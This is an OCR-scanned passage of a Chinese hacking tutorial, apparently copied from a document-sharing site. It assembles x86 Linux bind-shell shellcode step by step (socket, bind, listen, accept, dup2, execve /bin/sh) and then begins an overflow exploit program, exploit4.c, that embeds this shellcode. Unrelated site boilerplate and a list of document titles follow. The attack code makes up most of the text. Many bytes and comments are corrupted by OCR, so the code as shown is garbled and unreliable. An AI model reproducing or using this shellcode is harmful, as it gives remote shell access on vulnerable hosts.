”\x89\x46\xl0"/*movl%eax,0x!0(%esi)*/
/*serv_addr.sin_addr.s_addr=()*/
"\xbO\xlO"/*movbS0xl0,%al*/
”\x89\x46\x08"/*movl%eax,0x8(%esi)*/
/*第三個參數(shù).*/
"\xb0\x66"/*movb$0x66,%al*/
”\xb3\xO2”/*movb$0x2,%bl*/
"\xcd\x80"/*intS0x80*/
lislen(socj)的匯編代碼
/*listen使用66號系統(tǒng)調(diào)用,4號子調(diào)用。*/
/*他使用一段內(nèi)存塊來傳遞參數(shù).*/
/*%ccx里面為這個內(nèi)存塊的地址指針.*/
charcode[]=
"\x89\xfl"/*movl%esi,%ecx*/
"\x89\x()6"/*movl%cax,(%esi)*/
/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/
/*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/
"\xb0\x0l"/*movbSOxl,%al*/
"\x89\x46\x04"/*movl%cax,0x4(%esi)*/
/*第二個參數(shù).?/
"\xb0\x66"/*movbS0x66,%aI*/
"\xb3\x04"/*movb$0x4,%bl*/
"\xcd\x80"/*intS0x80*/
accept(soc,0,0)的匯編代碼
/*accept使用66號系統(tǒng)調(diào)用,5號子調(diào)用。*/
/*他使用一段內(nèi)存塊來傳遞參數(shù)。*/
/*%ecx里面為這個內(nèi)存塊的地址指針.*/
charcode[]=
"\x89\xfl"/*movl%esi,%ecx*/
"\x89\xfl"/*movl%eax,(%esi)*/
/*%cax的內(nèi)容為剛才socket調(diào)用的返回值,*/
/*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/
"\x31\xc0"/*xorl%eax,%eax*/
"\x89\x46\xO4"/*movl%cax,0x4(%esi)*/
/*第二個參數(shù).*/
"\x89\x46\x08"/*movl%eax,0x8(%esi)*/
/*第三個參數(shù).*/
"\xb0\x66"/*movbS0x66,%al*/
"\xb3\x05"/*movb$0x5,%bl*/
"\xcd\x80"/*intS0x80*/
dup2(cli,0)的匯編代碼
/*第一個參數(shù)為%ebx,第二個參數(shù)為%ecx*/
charcodclJ=
/*%cax里面是剛才accept調(diào)用的返回值,求/
/*客戶的文獻(xiàn)描述符cli.*/
"\x88\xc3"/*movb%al,%bl*/
"\xb0\x3f/*movb$0x3f,%al*/
"\x31\xc9"/*xorl%ecx,%ecx*/
"\xcd\x80"/*intSOx8O*/
現(xiàn)在該把這些所有的細(xì)節(jié)都串起來,形成一個新的shell的時候了。
newshellcode
charshellcode[]=
00"\x31\xc0"/*xorl%eax,%eax*/
02"\xbO\xO2"/*movb$0x2,%al*/
04"\xcd\x80"/*int$0x80O
06"\x85\xc0"/*(estl%eax.%eax*/
08,,\x75\x43"/*jne0x43*/
/*執(zhí)行fork。,當(dāng)fork()!=0的時候,表白是父進程,要終止*/
/*因此,跳到0x43+a=0x4d,再跳到后面,執(zhí)行exit(O)*/
Oa,,\xeb\x43"/*jmp0x43*/
/*當(dāng)fork()==0的時候,表白是子進程*/
/*因此,跳到0x43i0c=0x4f,再跳到后面,執(zhí)行call-0xa5求/
0cH\x5e"/*popl%esi*/
Od"\x31\xc0"/*xorl%eax,%eax*/
0「”\x31\xdb”/*xorl%ebx,%ebx*/
II"\x89\xfl"/*movl%esi,%ecx*/
13"\xb0\x02"/*movb$0x2,%al*/
15"\x89\x06"/*movl%eax,(%esi)*/
17"\xb0\x01"/*movb$0x1,%al*/
19"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
1c,,\xb0\x06"/*movb$0x6,%al*/
le"\x89\x46\x08"/*movl%eax,0x8(%esi)匍
21"\xb0\x66"/*movb$0x66,%al*/
23"\xb3\x0r*/*movb$0xl,%bl*/
25"\xcd\x80"/*int$0x80x/
/*執(zhí)行socket(),eax里面為返回值soc文獻(xiàn)描述符*/
27"\x89\x06"/*movl%eax,(%esi)*/
29"\xb0\x02"/*movb$0x2,%al*/
2d"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/
2f"\xb0\x77"/*movb$0x77,%al*/
31"\x66\x89\x46\x0e0/*movw%ax,Oxe(%esi)*/
35"\x8d\x46\x0c"/*lealOxc(%esi),%eax*/
38"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
3b"\x31\xc0"/*xorl%cax,%cax
3d"\x89\x46\xl0"/*movl%eax,OxlO(%esi)*/
40M\xbO\x10"/*movb$0x10,%al*/
42"\x89\x46\x08"/*movl%eax,0x8(%esi)*/
45"\xb0\x66"/*movb$0x66,%al*/
47"\xb3\xO2"/*movb$0x2,%bl*/
49'?\xcd\x80"/*int$0x80V
/*執(zhí)行bind。*/
4b),\xeb\x04"/*jnip0x4*1
/*越過下面的兩個跳轉(zhuǎn)*/
4d”\xeb\x55"/*jnip0x55x/
/*跳到0x4f+0x55=0xa4*/
4f"\xeb\x5b"/*jmp0x5b*/
/*跳到0x51+0x5b=0xac?/
51"\xbO\xOr*/*movb$0x1,%al*/
53"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
56"\xb0\x66"/*movb$0x66,%al*/
58"\xb3\x04"/*movb$0x4,%bl*/
5a"\xcd\x80"/*ini$0x80*/
/*執(zhí)行l(wèi)islen()*/
5cH\x31\xc0"/*xorl%eax,%eax*/
5en\x89\x46\x()4"/*movl%eax,0x4(%esi)*/
61"\x89\x46\x08"/*movl%eax,0x8(%esi)*/
64"\xb0\x66"/*movb$0x66,%al*/
66n\xb3\xO5M/*movb$0x5,%bl*/
68"\xcd\x8O”/*int$0x80x/
/*執(zhí)行acccpt(),cax里面為返回值cli文獻(xiàn)描述符*/
6a"\x88\xc3”/*movb%al,%bl*/
6c"\xbO\x3f'/*movb$0x3f,%al*/
6e"\x31\xc9"/*xorl%ecx,%ecx*/
70"\xcd\x80"/*int$0x807
72"\xb()\x3fM/*movb$0x3f,%al*/
74"\xbl\x01"/*movb$0x1,%cl*/
76"\xcd\x80"/*int$0x807
78"\xb0\x3f/*movb$0x3f,%al*/
7a"\xbl\x02"/*movb$0x2,%cl*/
7c"\xcd\x80"/*int$0x80*/
/*執(zhí)行三個dup2()*/
7e"\xb8\x2f\x62\x69\x6e"產(chǎn)movlS0x6e69622f,%eax*/
/*%eax='7bino*/
83"\x89\x06"/*movl%eax,(%esi)*/
85,,\xb8\x2Ax73\x68\x2f,/*movl$0x2f68732f,%eax*/
/*%eax=Vsh/"*/
8a"\x89\x46\x04"/*movl%cax,0x4(%csi)*/
8d"\x31\xc0"/*xorl%eax,%eax*/
8f,,\x88\x46\x07"/*movb%al,0x7(%esi)*/
92"\x89\x76\x08"/*movl%esi,0x8(%esi)*/
95"\x89\x46\x0c"/*movl%eax,Oxc(%esi)*/
98"\xbO\xOb"/*movb$Oxb,%al*/
9a”\x89\xf3"/*movl%esi,%ebx*/
9c"\x8d\x4e\x08"/*lealOx8(%csi),%ccx*/
9f"\x8d\x56\xOc"/*lealOxc(%esi),%edx*/
a2n\xcd\x8O"/*ini$0x80*/
/*執(zhí)行execve()*/
/*運營/bin/sh()?/
a4"\x31\xcO"/*xorl%cax,%cax*/
a6"\xb0\x01"/*movb$0x1,%al*/
a8"\x31\xdb"/*xorl%ebx.%ebx*/
aa"\xcd\x80"/*int$0x80*/
/*執(zhí)行exil。*/
ac"\xe8\x5b\xmxff\xff/*call-0xa5*/
/*執(zhí)行0x0c處的指令*/
bl
好,長長的shell終于寫完了,下面就是襲擊程序了。
cxploit4.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#defineALIGN0
#dcfineOFFSET0
#defineRET.POSITION1024
#defineRANGE200
#deHneNOP0x90
charshellcode[]=
"\x31\xcO"/*xorl%eax,%eax*/
"\xb0\x02"/*movb$0x2,%al*/
"\xcd\x80"/*intS0x80*/
"\x85\xc0"/*testl%eax,%cax*/
"\x75\x43"/*jnc0x43*/
"\xeb\x43"/*jmp0x43*/
"\x5e"/*popl%esi*/
"\x31\xc0"/*xorl%eax,%cax*/
"\x31\xdb"/*xorl%ebx,%ebx*/
"\x89\xfl"/*movl%esi,%ecx*/
"\xb()\x()2"/*movb$0x2,%al*/
"\x89\x06"/*movl%cax,(%csi)*/
"\xb0\x01"/*movb$0x1,%al*/
"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
"\xbO\xO6"/*movb$0x6,%al*/
"\x89\x46\x08"/*movl%eax,0x8(%esi)*/
"\xb0\x66"/*movb$0x66,%al*/
"\xb3\x01"/*movb$0x1,%bl*/
"\xcd\x80"/*intS0x80*/
"\x89\x06"/*movl%eax,(%esi)*/
"\xb0\x02"/*movb$0x2,%al*/
"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/
"\xb0\x77"/*movb$0x77,%al*/
"\x66\x89\x46\x0e"/*movw%ax,Oxe(%esi)*/
"\x8d\x46\x0c0/*lealOxc(%esi),%eax*/
"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
"\x31\xc0"/*xorl%cax,%cax*/
"\x89\x46\xl0"/*movl%cax.Ox10(%csi)*/
"\xbO\xlO"/*movbSOxlO,%ai*/
"\x89\x46\x08"/*movl%eax,()x8(%esi)*/
"\xb0\x66"/*movbS0x66,%al*/
"\xb3\xO2"/*movb$0x2,%bl*/
"\xcd\x80"/*intS0x80*/
"\xeb\x()4"/*jmp0x4*/
"\xcb\x55"/*jmp0x55*/
"\xeb\x5b"/*jmp0x5b*/
"\xbO\xOI"/*movbSOxl,%al*/
"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
"\xb0\x66"/*movb$0x66,%al*/
"\xb3\x04"/*movb$0x4,%bl*/
"\xcd\x80"/*intS0x80*/
"\x31\xc0"/*xorl%eax,%eax*/
"\x89\x46\x04"/*movl%eax,0x4(%esi)*/
"\x89\x46\x08"/*movl%eax,0x8(%esi)*/
"\xb0\x66"/*movb$0x66,%al*/
"\xb3\x05"/*movb$0x5,%bl*/
"\xcd\x80"/*int$0x80*/
"\x88\xc3"/*movb%al,%bl*/
"\xbO\x3f/*movb$0x3f,%al*/
"\x31\xc9"/*xorl%ccx,%ccx*/
"\xcd\x80"怦intS0x80*/
"\xb0\x3r'/*movbS0x3f,%al*/
"\xbl\xOI"/*movbSOxl,%cl*/
"\xcd\x80"/*intS0x80*/
"\xb0\x3f/*movb$0x3f,%al*/
"\xbi\x02"/*movb$0x2,%cl*/
"\xcd\x80"/*intS0x80*/
"\xb8\x2l\x62\x69\x6c"/*movl$0x6c69622f,
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年醫(yī)療廣告宣傳合同
- 2026年綠色施工合同
- 2026年醫(yī)療糾紛調(diào)解與法律援助服務(wù)協(xié)議
- 民航華東地區(qū)管理局機關(guān)服務(wù)中心2025年公開招聘工作人員備考題庫及完整答案詳解1套
- 2025年威海市檢察機關(guān)公開招聘聘用制書記員31人備考題庫及一套參考答案詳解
- 2025年北京朝陽區(qū)高二(上)期末歷史試題和答案
- 2025衛(wèi)生監(jiān)督學(xué)試題及答案
- 2025年招商銀行紹興分行社會招聘備考題庫完整答案詳解
- 《高層建筑火災(zāi)疏散模擬與安全出口優(yōu)化設(shè)計在檔案館建筑中的應(yīng)用研究》教學(xué)研究課題報告
- 2025江蘇鹽城市射陽縣委組織部轉(zhuǎn)任工作人員2人考試重點題庫及答案解析
- 地鐵保安考試題庫及答案
- 2025佛山農(nóng)商銀行社會招聘考試備考題庫及答案解析
- 中醫(yī)基礎(chǔ)學(xué)考試題(附答案)
- 六分鐘步行試驗臨床規(guī)范應(yīng)用中國專家共識解讀
- 鍋莊舞教學(xué)課件
- 混合性認(rèn)知障礙診治專家共識解讀課件
- 統(tǒng)編版語文二年級上冊 語文園地七教學(xué)課件
- 醫(yī)院保密教育培訓(xùn)課件
- 2026年高考語文復(fù)習(xí):文言文背誦篇目理解性默寫練習(xí)題匯編(含答案)
- 母嬰??谱o士拓展匯報
- 2025年衛(wèi)健系統(tǒng)安全生產(chǎn)工作總結(jié)
評論
0/150
提交評論